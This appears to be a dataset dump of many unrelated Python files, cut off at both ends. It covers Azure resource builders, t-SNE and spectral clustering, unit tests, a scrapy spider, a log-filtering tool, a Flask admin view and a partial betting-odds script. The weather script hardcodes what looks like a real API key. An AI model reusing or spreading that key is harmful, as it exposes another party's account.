attributes['sku']\n return AzureServiceBusNamespace(name=attributes['name'],\n sku=ServiceBusNamespaceSku(sku_attributes['name']),\n capacity=sku_attributes.get('capacity', 0),\n zone_redundant=properties.get('zoneRedundant', False))\n","sub_path":"cloudrail/knowledge/context/azure/resources_builders/scanner/service_bus_namespace_builder.py","file_name":"service_bus_namespace_builder.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"237242744","text":"# coding: utf-8\r\nimport re\r\nimport sys\r\nreload(sys)\r\nsys.setdefaultencoding('utf-8')\r\n\r\n#判断字符是否为中文或中文标点\r\ndef is_chinese_charactar(uchar):\r\n delCStr = '”“《》（），。；？——￥！{}【】' \r\n\r\n if (uchar >= u'\\u4e00' and uchar <= u'\\u9fa5') or delCStr.find(uchar) >= 0:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n#判断字符串是否有中文 \r\n'''\r\npython判断是否是中文需要满足u'[\\u4e00-\\u9fa5]+'，\r\n需要注意如果正则表达式的模式中使用unicode，那么\r\n要匹配的字符串也必须转换为unicode，否则肯定会不匹配。\r\n'''\r\n''' \r\ndef has_chinese_charactar(content):\r\n iconvcontent = unicode(content)\r\n zhPattern = re.compile(u'[\\u4e00-\\u9fa5]+')\r\n match = zhPattern.search(iconvcontent)\r\n res = False\r\n if match:\r\n res = True\r\n return res\r\n'''\r\n\r\nf = open(\"original.txt\")\r\nline = f.readline()\r\ncount = 0\r\ndict = {}\r\nwhile line:\r\n # print line, \r\n # print(line, end = '')　　　# 在 Python 3中使用\r\n line = unicode(line, 'utf-8').strip()\r\n l_zh = -1\r\n if len(line):\r\n count += 1\r\n for i in range(len(line)):\r\n if is_chinese_charactar(line[i]):\r\n l_zh = i\r\n if l_zh == len(line)-1:\r\n # print line.split(' ')[-1]\r\n # print line[0: len(line)-len(line.split(' ')[-1])-1]\r\n key = line[0: len(line)-len(line.split(' ')[-1])-1]\r\n value = line.split(' ')[-1]\r\n\r\n else: \r\n # print line.split(' ')[0]\r\n # print line[len(line.split(' ')[0])+1:]\r\n key = line[len(line.split(' ')[0])+1:]\r\n value = line.split(' ')[0]\r\n \r\n dict[key] = value\r\n\r\n line = f.readline()\r\n\r\nf.close()\r\n\r\noutput = open('target.txt', 'w')\r\noutput.write('|:-----|:-----|\\n')\r\nfor k in sorted(dict.keys()):\r\n # print k, \":\", dict[k]\r\n output.write('|')\r\n output.write(k)\r\n output.write('|')\r\n output.write(dict[k])\r\n output.write('|\\n')\r\n output.flush()\r\n\r\noutput.close()\r\n","sub_path":"python/20150116/txt.py","file_name":"txt.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"326351678","text":"import unittest\nimport numpy as np\nfrom ..gmrf import GMRF\nfrom numpy.linalg import inv\nfrom scipy.stats import norm, multivariate_normal\n\nclass TestLogPdf(unittest.TestCase):\n\n def test_one_dim(self):\n \"\"\" Test log pdf for one dimensional data \"\"\"\n x = np.array([1])\n mean = np.array([2])\n Q = np.array([[ 1 / 25 ]])\n\n gmrf = GMRF()\n self.assertAlmostEqual(gmrf._logpdf(x, mean, Q),\n norm.logpdf(1, 2, 5))\n\n def test_mulit_dim(self):\n \"\"\" Test log pdf for multi dimensional data \"\"\"\n x = np.array([1, 2, 1.7])\n mean = np.array([2, 1, 5])\n Q = np.array([[1.2, 0.7, -0.4],\n [0.7, 0.68, 0.01],\n [-0.4, 0.01, 1]])\n\n gmrf = GMRF()\n self.assertAlmostEqual(gmrf._logpdf(x, mean, Q),\n multivariate_normal.logpdf(x, mean, inv(Q)))\n\nclass TestBic(unittest.TestCase):\n\n def test_simple_chain(self):\n \"\"\" Test BIC for simple chain A - B - C\"\"\"\n Q = np.array([[1, -0.5, 0], [-0.5, 1.25, -0.5], [0, -0.5, 1]])\n\n X = np.array([[-0.5, -1.5, 0.4],\n [3.9, -1.7, -1.1],\n [7.8, -3.2, 1.3],\n [2.0, -2.9, 3.2],\n [3.4, -8, 1.3]])\n\n mean = np.mean(X, axis=0)\n\n gmrf = GMRF()\n gmrf.precision_ = Q\n gmrf.mean_ = np.mean(X, axis=0)\n bic, converged = gmrf.bic(X, gamma=0)\n\n self.assertTrue(converged)\n self.assertAlmostEqual(bic, -2 * np.sum(multivariate_normal.logpdf(X, mean, inv(Q))) + 5 * np.log(5))\n","sub_path":"lib/gaussian/tests/test_metrics.py","file_name":"test_metrics.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"214801790","text":"# -*- coding: utf-8 -*-\n\"\"\" Probe system performance\n Author: Kai JIN\n Update: 17/11/22\n\"\"\"\nimport sys\nimport tensorflow as tf\nfrom tensorflow import profiler\n\n\nclass Profiler():\n \"\"\" The class to manage the probe tools, offering:\n 1) network structure (parameter number)\n 2) FLOPs\n 3) time and memory analyzeing\n \"\"\"\n\n def __init__(self):\n pass\n\n @staticmethod\n def parameters():\n \"\"\" parameters\n \"\"\"\n param_stats = profiler.profile(\n graph=tf.get_default_graph(),\n cmd='scope',\n options=profiler.ProfileOptionBuilder.trainable_variables_parameter())\n sys.stdout.write('total params: %d\\n' % param_stats.total_parameters)\n\n @staticmethod\n def flops():\n \"\"\" flops\n \"\"\"\n param_stats = tf.profiler.profile(\n graph=tf.get_default_graph(),\n cmd='scope',\n options=tf.profiler.ProfileOptionBuilder.float_operation())\n sys.stdout.write('total flops: %d\\n' % param_stats.total_float_ops)\n\n @staticmethod\n def time_memory(path, sess, train_op):\n \"\"\" time_memory\n \"\"\"\n builder = tf.profiler.ProfileOptionBuilder\n opts = builder(builder.time_and_memory()).order_by('micros').build()\n with tf.contrib.tfprof.ProfileContext(path,\n trace_steps=range(10, 20),\n dump_steps=[20]) as pctx:\n pctx.trace_next_step()\n pctx.dump_next_step()\n sess.run(train_op)\n pctx.profiler.profile_operations(options=opts)\n","sub_path":"core/utils/profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"170225953","text":"#!/usr/bin/env python\n\n'''\nA simple Python wrapper for the bh_tsne binary that makes it easier to use it\nfor TSV files in a pipeline without any shell script trickery.\n\nNote: The script does some minimal sanity checking of the input, but don't\n expect it to cover all cases. After all, it is a just a wrapper.\n\nExample:\n\n > echo -e '1.0\\t0.0\\n0.0\\t1.0' | ./bhtsne.py -d 2 -p 0.1\n -2458.83181442 -6525.87718385\n 2458.83181442 6525.87718385\n\nThe output will not be normalised, maybe the below one-liner is of interest?:\n\n python -c 'import numpy; from sys import stdin, stdout;\n d = numpy.loadtxt(stdin); d -= d.min(axis=0); d /= d.max(axis=0);\n numpy.savetxt(stdout, d, fmt=\"%.8f\", delimiter=\"\\t\")'\n\nAuthors: Pontus Stenetorp \n Philippe Remy \nVersion: 2016-03-08\n'''\n\n# Copyright (c) 2013, Pontus Stenetorp \n#\n# Permission to use, copy, modify, and/or distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\nfrom argparse import ArgumentParser, FileType\nfrom os.path import abspath, dirname, isfile, join as path_join\nfrom shutil import rmtree\nfrom struct import calcsize, pack, unpack\nfrom subprocess import Popen\nfrom sys import stderr, stdin, stdout\nfrom tempfile import mkdtemp\nfrom platform import system\nfrom os import devnull\nimport numpy as np\nimport os, sys\nimport io\n\n# Default hyper-parameter values from van der Maaten (2014)\n# https://lvdmaaten.github.io/publications/papers/JMLR_2014.pdf (Experimental Setup, page 13)\nDEFAULT_NO_DIMS = 2\nINITIAL_DIMENSIONS = 50\nDEFAULT_PERPLEXITY = 50\nDEFAULT_THETA = 0.5\nEMPTY_SEED = -1\nDEFAULT_USE_PCA = True\nDEFAULT_MAX_ITERATIONS = 1000\n\n###\n\ndef argparse():\n argparse = ArgumentParser('bh_tsne Python wrapper')\n argparse.add_argument('-d', '--no_dims', type=int,\n default=DEFAULT_NO_DIMS)\n argparse.add_argument('-p', '--perplexity', type=float,\n default=DEFAULT_PERPLEXITY)\n # 0.0 for theta is equivalent to vanilla t-SNE\n argparse.add_argument('-t', '--theta', type=float, default=DEFAULT_THETA)\n argparse.add_argument('-r', '--randseed', type=int, default=EMPTY_SEED)\n argparse.add_argument('-n', '--initial_dims', type=int, default=INITIAL_DIMENSIONS)\n argparse.add_argument('-v', '--verbose', action='store_true')\n argparse.add_argument('-i', '--input', type=FileType('r'), default=stdin)\n argparse.add_argument('-o', '--output', type=FileType('w'),\n default=stdout)\n argparse.add_argument('--use_pca', action='store_true')\n argparse.add_argument('--no_pca', dest='use_pca', action='store_false')\n argparse.set_defaults(use_pca=DEFAULT_USE_PCA)\n argparse.add_argument('-m', '--max_iter', type=int, default=DEFAULT_MAX_ITERATIONS)\n return argparse\n\n\ndef _read_unpack(fmt, fh):\n return unpack(fmt, fh.read(calcsize(fmt)))\n\n\ndef _is_filelike_object(f):\n try:\n return isinstance(f, (file, io.IOBase))\n except NameError:\n # 'file' is not a class in python3\n return isinstance(f, io.IOBase)\n\n\ndef init_bh_tsne(samples, workdir, no_dims=DEFAULT_NO_DIMS, initial_dims=INITIAL_DIMENSIONS, perplexity=DEFAULT_PERPLEXITY,\n theta=DEFAULT_THETA, randseed=EMPTY_SEED, verbose=False, use_pca=DEFAULT_USE_PCA, max_iter=DEFAULT_MAX_ITERATIONS):\n\n if use_pca:\n samples = samples - np.mean(samples, axis=0)\n cov_x = np.dot(np.transpose(samples), samples)\n [eig_val, eig_vec] = np.linalg.eig(cov_x)\n\n # sorting the eigen-values in the descending order\n eig_vec = eig_vec[:, eig_val.argsort()[::-1]]\n\n if initial_dims > len(eig_vec):\n initial_dims = len(eig_vec)\n\n # truncating the eigen-vectors matrix to keep the most important vectors\n eig_vec = np.real(eig_vec[:, :initial_dims])\n samples = np.dot(samples, eig_vec)\n\n # Assume that the dimensionality of the first sample is representative for\n # the whole batch\n sample_dim = len(samples[0])\n sample_count = len(samples)\n\n # Note: The binary format used by bh_tsne is roughly the same as for\n # vanilla tsne\n with open(path_join(workdir, 'data.dat'), 'wb') as data_file:\n # Write the bh_tsne header\n data_file.write(pack('iiddii', sample_count, sample_dim, theta, perplexity, no_dims, max_iter))\n # Then write the data\n for sample in samples:\n data_file.write(pack('{}d'.format(len(sample)), *sample))\n # Write random seed if specified\n if randseed != EMPTY_SEED:\n data_file.write(pack('i', randseed))\n\ndef load_data(input_file):\n # Read the data, using numpy's good judgement\n return np.loadtxt(input_file)\n\n\n","sub_path":"wrapper/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"563453651","text":"#!/usr/bin/python3\nimport math\n\ndef odleglosc(x1, y1, x2, y2):\n a = abs(x1 - x2)\n b = abs(y1 - y2)\n\n return a*a + b*b\n\n\n\n\ndef main():\n c = input().split()\n n = int(c[0])\n m = int(c[1])\n x = int(c[2])\n y = int(c[3])\n r = int(c[4])\n\n for i in range(1, n+1):\n for j in range(1, m+1):\n if odleglosc(x, y, i, j) <= r*r:\n print('#', end='')\n else:\n print('.', end='')\n print() \n\n\nmain()","sub_path":"2020/05/16/kolo.py","file_name":"kolo.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"407987799","text":"import pyowm\r\n\r\nowm = pyowm.OWM('e2ef41348ab4f86bf88ed303bc16b2dc')\r\nmgr = owm.weather_manager()\r\n\r\nwhere = input('Где искать погоду?: ') # Комментарий для task-1\r\n\r\nobservation = mgr.weather_at_place(where)\r\nw = observation.weather\r\nprint(w)\r\n","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"53183092","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom chian.items import ChianItem\nfrom scrapy_redis.spiders import RedisCrawlSpider\n\nclass ChinaspiderSpider(RedisCrawlSpider):\n name = 'chinaspider'\n allowed_domains = ['china.com']\n redis_key = 'zhwSpider:start_urls'\n #start_urls = ['https://travel.china.com/hotspot/']\n\n rules = (\n Rule(LinkExtractor(allow=r'h.*?index_\\d+.html'), callback='parse_item', follow=True),\n )\n\n def parse_item(self, response):\n\n item = ChianItem()\n article_list = response.xpath('//div[@class=\"m_Con\"]')\n #print(article_list)\n for i in article_list:\n item['title'] = i.xpath('.//div[2]/h2/a/text()').extract()\n item['content'] = i.xpath('.//div[2]/div/text()').extract()\n item['time'] = i.xpath('.//div[2]/p/span/text()').extract()\n print(item['title'])\n print(item['content'])\n print(item['time'])\n yield item","sub_path":"爬虫10/爬虫/chian/chian/spiders/chinaspider.py","file_name":"chinaspider.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"645331257","text":"import numpy as np\nimport csv\nfrom copy import deepcopy\nfrom bellman_utilities import BellmanUtil\nfrom scipy.stats import norm\n\n\nclass DataGen:\n def __init__(self, model_params, tot_samples=70):\n curr_params = deepcopy(model_params)\n bellutil = BellmanUtil(**curr_params)\n curr_params['rho'] = bellutil.rho\n curr_params['decisions'] = bellutil.decisions\n decisions = bellutil.decisions\n\n for i, column in enumerate(decisions.T):\n try:\n upperbound = (column == 2).nonzero()[0][0]\n lowerbound = (column == 1).nonzero()[0][-1]\n except IndexError:\n raise(ValueError, 'Non-existant bounds at some timestep')\n column[upperbound:] = 2\n column[:lowerbound] = 1\n decisions[:, i] = column\n\n condN = tot_samples // 2\n dt = model_params['dt']\n T = model_params['T']\n t_d = model_params['t_delay']\n t_max = model_params['t_max'] - t_d\n maxind = int(t_max / dt) - 1\n t_values = np.arange(0, T, dt)\n g_values = model_params['g_values']\n\n ev_values = np.zeros((2, tot_samples // 2, t_values.shape[0]))\n ev_values[0, :, :] = np.random.normal(loc=0, scale=model_params['sigma'][0],\n size=ev_values.shape[1:])\n ev_values[1, :, :] = np.random.normal(loc=1, scale=model_params['sigma'][1],\n size=ev_values.shape[1:])\n\n g_traces = np.zeros_like(ev_values)\n for C in (0, 1):\n for sample in range(condN):\n for samplen in range(t_values.shape[0]):\n g_traces[C, sample, samplen] = self.g_t(ev_values[C, sample, :samplen + 1],\n model_params['mu'],\n model_params['sigma'])\n binned_traces = np.digitize(g_traces, g_values, right=True)\n binned_traces[binned_traces == g_values.shape[0]] = g_values.shape[0] - 1\n\n response_times = np.zeros(ev_values.shape[:-1])\n response_idents = np.zeros(ev_values.shape[:-1])\n for C in (0, 1):\n for sample in range(condN):\n i = 0\n while i <= maxind:\n currdec = decisions[binned_traces[C, sample, i], i]\n if currdec == 1:\n response_times[C, sample] = t_values[i] + t_d\n response_idents[C, sample] = 0\n break\n elif currdec == 2:\n response_times[C, sample] = t_values[i] + t_d\n response_idents[C, sample] = 1\n break\n elif (currdec == 0) and (i == maxind):\n response_times[C, sample] = t_max + t_d\n response_idents[C, sample] = 2\n i += 1\n\n self.response_times = response_times\n self.response_idents = response_idents\n self.model_params = curr_params\n\n def g_t(self, x, mu, sigma, prior=0.5):\n presprobs = norm.pdf(x, loc=mu[1], scale=sigma[1])\n absprobs = norm.pdf(x, loc=mu[0], scale=sigma[0])\n denom = np.product(presprobs) * prior + np.product(absprobs) * prior\n return np.product(presprobs) * prior / denom\n\n def save_csv(self, savepath):\n with open(savepath, 'r') as fr:\n existing = fr.read(6) == 'target'\n\n with open(savepath, 'a') as fw:\n writer = csv.writer(fw)\n if not existing:\n writer.writerow(['target', 'setsize', 'dyn', 'resp', 'rt', 'sub', 'exp', 'correct'])\n curr_N = self.model_params['N']\n abs_resp = zip(self.response_idents[0, :], self.response_times[0, :])\n pres_resp = zip(self.response_idents[1, :], self.response_times[1, :])\n # First write all responses for target absent simulations\n for response, rt in abs_resp:\n correct = response == 0\n if response == 0:\n adjusted_response = 2\n elif response == 1:\n adjusted_response = 1\n elif response == 2:\n adjusted_response = -1\n writer.writerow(['Absent', curr_N, 'Dynamic',\n adjusted_response, \"{:.7f}\".format(rt), 666, 1, correct])\n # Then write all responses for target present sims\n for response, rt in pres_resp:\n correct = response == 1\n if response == 0:\n adjusted_response = 2\n elif response == 1:\n adjusted_response = 1\n elif response == 2:\n adjusted_response = -1\n writer.writerow(['Present', curr_N, 'Dynamic',\n adjusted_response, \"{:.7f}\".format(rt), 666, 1, correct])\n","sub_path":"codes/synth_data.py","file_name":"synth_data.py","file_ext":"py","file_size_in_byte":5016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"169322242","text":"from json import loads\nfrom subprocess import check_output\n\n\ndef run_jsdoc(app):\n \"\"\"Run JSDoc across a whole codebase, and squirrel away its results.\"\"\"\n # JSDoc defaults to utf8-encoded output.\n doclets = loads(check_output(['jsdoc', app.config.js_source_path, '-r', '-X']).decode('utf8'))\n app._sphinxjs_jsdoc_output = dict((d['longname'], d) for d in doclets\n if d.get('comment')\n and not d.get('undocumented'))\n # 2 doclets are made for classes, and they are largely redundant: one for\n # the class itself and another for the constructor. However, the\n # constructor one gets merged into the class one and is intentionally\n # marked as undocumented, even if it isn't. See\n # https://github.com/jsdoc3/jsdoc/issues/1129.\n","sub_path":"sphinx_js/jsdoc.py","file_name":"jsdoc.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"523405526","text":"import numpy as np\nfrom sklearn.cluster import KMeans\nimport math\nimport matplotlib.pyplot as plt\n\n\ndef distance(p1, p2):\n \"\"\" Get the distance between two points \"\"\"\n dist = np.sqrt(np.power(p1 - p2, 2).sum())\n return dist\n\ndef get_dist_matrix(data):\n \"\"\"\n Get the distance matrix\n input: raw data\n return: distance matrix\n \"\"\"\n n = len(data) # dimension: NxD\n # initialize distance matrix, dimension: NxN\n dist_matrix = np.zeros((n, n))\n for i in range(n):\n for j in range(i + 1, n):\n dist_matrix[i][j] = dist_matrix[j][i] = distance(data[i], data[j])\n return dist_matrix\n\nclass SC(object):\n\n def __init__(self, n_clusters, knn_k):\n self.n_clusters = n_clusters\n self.knn_k = knn_k\n\n \"\"\" \n Get adjacent matrix\n input:\n data: raw data\n k: the number of cluster\n return:\n adjacent matrix\n \"\"\"\n def getW(self, data, k):\n n = len(data)\n dist_matrix = get_dist_matrix(data)\n\n W = np.zeros((n, n))\n for idx, dist in enumerate(dist_matrix):\n # sort each row and get index list\n # smaller distance means two points are closer\n idx_array = np.argsort(dist)\n # set the element in each row to 1\n # except for the diagonal elements\n W[idx][idx_array[1 : k + 1]] = 1\n W_T = np.transpose(W)\n return (W + W_T) / 2\n\n \"\"\"\n Get degree matrix\n input:\n W: adjacent matrix\n return:\n degree matrix\n \"\"\"\n def getD(self, W):\n D = np.diag(sum(W))\n return D\n\n \"\"\"\n Get unnormalized Laplace matrix\n input:\n W: adjacent matrix\n D: degree matrix\n return:\n Laplace matrix\n \"\"\"\n def getL(self, D,W):\n return D-W\n\n \"\"\"\n Get eigen matrix of Laplace matrix\n input:\n L: Laplace matrix\n k: the number of clusters\n return:\n eigen matrix\n \"\"\"\n def getEigen(self, L, cluster_num):\n eig_vec, eig_val, _ = np.linalg.svd(L)\n # get the first k smallest eigenvectors\n idx = np.argsort(eig_val)[0 : cluster_num]\n return eig_vec[:, idx]\n\n\n def fit(self, data):\n k = self.knn_k\n cluster_num = self.n_clusters\n data = np.array(data)\n W = self.getW(data, k)\n D = self.getD(W)\n L = self.getL(D, W)\n eig_vec = self.getEigen(L, cluster_num)\n self.eigvec = eig_vec\n\n\n def predict(self, data):\n clf = KMeans(n_clusters=self.n_clusters)\n s = clf.fit(self.eigvec) # clusters\n labels = s.labels_\n return labels\n\n\nif __name__ == '__main__':\n cluster_num = 3\n knn_k = 5\n data = np.array([[1, 2], [1.5, 1.8], [5, 8], [8, 8], [1, 0.6], [9, 11]])\n data = data[0:-1] # last column is the label\n spectral_clustering = SC(n_clusters= 3, knn_k = 5)\n spectral_clustering.fit(data)\n label = spectral_clustering.predict(data)\n\n","sub_path":"Lecture3/Point Cloud Homework III/Spectralclustering.py","file_name":"Spectralclustering.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"353285434","text":"import cvzone\nimport cv2\nimport numpy as np\n\nangle = 0\nfpsReader = cvzone.FPS()\n\n\ndef empty(a):\n pass\n\n\ncv2.namedWindow(\"Parameters\")\ncv2.resizeWindow(\"Parameters\", 640, 100)\ncv2.createTrackbar(\"Speed\", \"Parameters\", 1, 25, empty)\n\nwhile True:\n imgBack = np.ones((500, 800, 3), np.uint8) * 255\n imgG1 = cv2.imread(\"Resources/gear.png\", cv2.IMREAD_UNCHANGED)\n imgG2 = imgG1.copy()\n\n val = cv2.getTrackbarPos(\"Speed\", \"Parameters\")\n imgG1 = cvzone.rotateImage(imgG1, angle + 23)\n imgG2 = cvzone.rotateImage(imgG2, -angle)\n angle += val\n\n imgResult = cvzone.overlayPNG(imgBack, imgG1, [125, 100])\n imgResult = cvzone.overlayPNG(imgResult, imgG2, [400, 100])\n _, imgResult = fpsReader.update(imgResult)\n\n cv2.imshow(\"Image\", imgResult)\n cv2.waitKey(1)\n","sub_path":"GearRotation.py","file_name":"GearRotation.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"234393298","text":"def solution(cap, n, deliveries, pickups):\n answer = 0\n\n deli_cnt = 0\n pick_cnt = 0\n\n for i in range(n-1, -1, -1):\n deli_cnt += deliveries[i]\n pick_cnt += pickups[i]\n\n while deli_cnt > 0 or pick_cnt > 0:\n deli_cnt -= cap\n pick_cnt -= cap\n answer += (i+1) * 2\n\n return answer","sub_path":"Algorithm/programmers/택배 배달과 수거하기.py","file_name":"택배 배달과 수거하기.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"270181989","text":"import sys\nimport os\nimport copy\n\ntry:\n from config import Config\n from filter import Filter\nexcept ImportError:\n from unlog.config import Config\n from unlog.filter import Filter\n\n\nclass Unlog:\n \"\"\"Filter the output of a command or a log file according to pattern passed\n in the *args* argument or according to a config file.\n \"\"\"\n\n def __init__(self, args):\n \"\"\" **PARAMETERS**\n\n * *args* - an ArgumentParser object containing all the option. Look at\n :py:mod:`unlog.main` for the list of opitons.\n \"\"\"\n self._args = args\n self._check_args()\n if args.start_pattern:\n self._filter_from_args()\n else:\n self._filter_from_config()\n\n def _check_args(self):\n \"\"\"Verify that the arguments are coherent. Exit with error code 2 if\n incoherences are fonud.\n \"\"\"\n if not self._args.files and not self._args.start_pattern \\\n and not self._args.use_config_section:\n sys.stderr.write('You must give a file or a start pattern.\\n')\n sys.exit(2)\n if (self._args.start_group_pattern and not self._args.end_group_pattern)\\\n or (not self._args.start_group_pattern and self._args.end_group_pattern):\n sys.stderr.write('You must --start-group and --end-group.')\n sys.exit(2)\n\n def _filter_from_args(self):\n \"\"\"Filter the files or stdin according to the patterns give by the\n arguments provided on the command line.\n \"\"\"\n config = copy.copy(self._args.__dict__)\n # Must not be passed to filter (unuseful)\n del config['files']\n # The following key are only used when processing from a config file\n del config['config_file']\n del config['use_config_section']\n # The filter manipulates string in the proper encoding. No need to pass it.\n del config['log_encoding']\n self._output_filter = Filter(**config)\n # If no files are provided, read from stdin\n if self._args.files:\n self._files = self._args.files\n self.process_files()\n else:\n self.process_stdin()\n\n def process_files(self):\n \"\"\"Loop on each file given on the command line and process them.\n \"\"\"\n for file in self._files:\n self.process_file(file, log_encoding=self._args.log_encoding)\n\n def process_file(self, file_name, log_encoding='utf-8'):\n \"\"\"Open file_name and process it with :py:meth:`unlog.filter.Filter.process_file`\n \"\"\"\n try:\n with open(file_name, 'r', encoding=log_encoding) as file:\n self._output_filter.process_file(file)\n except IOError as e:\n sys.stderr.write(str(e))\n sys.stderr.write(\"\\n\")\n\n def process_stdin(self):\n \"\"\"Process each line on the stdin with\n :py:meth:`unlog.filter.Filter.process_line`\n \"\"\"\n for line in iter(sys.stdin.readline, ''):\n self._output_filter.process_line(line)\n # We must print the stack when we reach the last line of stdin so that the\n # errors located at the end are displayed.\n self._output_filter.print_stack()\n self._output_filter.send_mail()\n\n def _filter_from_config(self):\n \"\"\"Filter the files according to the patterns defined in the\n configuration file.\n \"\"\"\n self._config = Config(self._args)\n if self._args.files:\n self.process_files_from_config()\n else:\n self._output_filter = self._config.get_filter()\n self.process_stdin()\n\n def process_files_from_config(self):\n \"\"\"Loop over each file given on the command line and process them\n according to the actions defined in the associated config file. The file\n is then passed to :py:meth:`process_file_filter_from_config`.\n \"\"\"\n for file_name in self._args.files:\n file_name = self._correct_path_input_file(file_name)\n self.process_file_filter_from_config(file_name)\n\n def _correct_path_input_file(self, file_name):\n \"\"\"Expand the ~ variable and transform a relative path into an absolute\n one.\n \"\"\"\n file_name = os.path.expanduser(file_name)\n file_name = os.path.abspath(file_name)\n return file_name\n\n def process_file_filter_from_config(self, file_name):\n \"\"\"Process the file_name with the filters defined in config with\n :py:meth:`process_file`.\n \"\"\"\n self._output_filter = self._config.get_filter(file_name)\n if self._output_filter:\n if 'encoding' in self._config:\n self.process_file(file_name, log_encoding=self._config['encoding'])\n else:\n self.process_file(file_name)\n","sub_path":"unlog/unlog.py","file_name":"unlog.py","file_ext":"py","file_size_in_byte":4813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"614608908","text":"# -*- coding: utf-8 -*-\n\"\"\"\n flask-sentinel.views\n ~~~~~~~~~~~~~~~~~~~~\n\n :copyright: (c) 2015 by Nicola Iarocci.\n :license: BSD, see LICENSE for more details.\n\"\"\"\nimport os\nfrom flask import render_template, request, flash\n\nfrom .core import oauth\nfrom .data import Storage\nfrom .basicauth import requires_basicauth\nfrom .mail import send_email\n\n\n@oauth.token_handler\ndef access_token(*args, **kwargs):\n \"\"\" This endpoint is for exchanging/refreshing an access token.\n\n Returns a dictionary or None as the extra credentials for creating the\n token response.\n\n :param *args: Variable length argument list.\n :param **kwargs: Arbitrary keyword arguments.\n \"\"\"\n return None\n\n\n@requires_basicauth\ndef management():\n \"\"\" This endpoint is for vieweing and adding users and clients. \"\"\"\n error = None\n if request.method == 'POST' and request.form['submit'] == 'Add User':\n email = request.form['email']\n result = Storage.save_user(request.form['username'],\n request.form['password'],\n email)\n if result['status'] == 'success':\n message = {\n 'auto_html': None,\n 'auto_text': None,\n 'from_email': os.getenv('FROM_EMAIL') or 'from@example.com',\n 'from_name': os.getenv('FROM_NAME') or 'Example Name',\n 'html': '

    Example HTML content

    ',\n 'subject': 'Your Account is created!',\n 'tags': ['user-registration'],\n 'to': [{'email': email,\n 'type': 'to'}],\n 'track_clicks': True,\n 'track_opens': True}\n send_email(message)\n else:\n error = result['message']\n if request.method == 'POST' and request.form['submit'] == 'Add Client':\n Storage.generate_client()\n error = None\n return render_template('management.html', users=Storage.all_users(),\n clients=Storage.all_clients(), error=error)\n","sub_path":"flask_sentinel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"11689494","text":"import pandas as pd\nfrom itertools import zip_longest\nfrom supp_funcs import flatten, first_elem, first_elements, sure_bet\n\nclass Manipulator:\n def __init__(self, dfs, names_list):\n self.bets_names = names_list\n self.dfs_f = [tup[0] for tup in dfs]\n self.dfs_m = [tup[1] for tup in dfs]\n self.siblings = self.solitary_remove()\n self.unificated = self.unification()\n self.profitabilited = self.profitability()\n\n def solitary_remove(self):\n result = []\n for f_df, m_df, name in zip(self.dfs_f, self.dfs_m, self.bets_names):\n if f_df.empty or m_df.empty: continue\n result.append(((f_df, m_df), name))\n return result\n\n def unification(self):\n data_frames = self.siblings\n result = []\n for bets, name in data_frames: #pętla po typach zakladów\n fort = bets[0]\n mara = bets[1]\n\n f = fort.to_dict(orient='split')\n m = mara.to_dict(orient='split')\n \n f_index, f_columns, f_data = f['index'], f['columns'], f['data']\n m_index, m_columns, m_data = m['index'], m['columns'], m['data']\n\n longer_f_indexs_prices = sorted( ((idx.strip(), price) for idx, price in zip(f_index, f_data)), key=first_elem)\n longer_m_indexs_prices = sorted( filter(lambda x: not 'Brak opcji' in x[0],\n [(idx.strip(), price) for idx, price in zip(m_index, m_data)] ), key=first_elem )\n \n common = [row.strip() for row, _ in longer_f_indexs_prices if row.strip() in first_elements(longer_m_indexs_prices)]\n\n\n 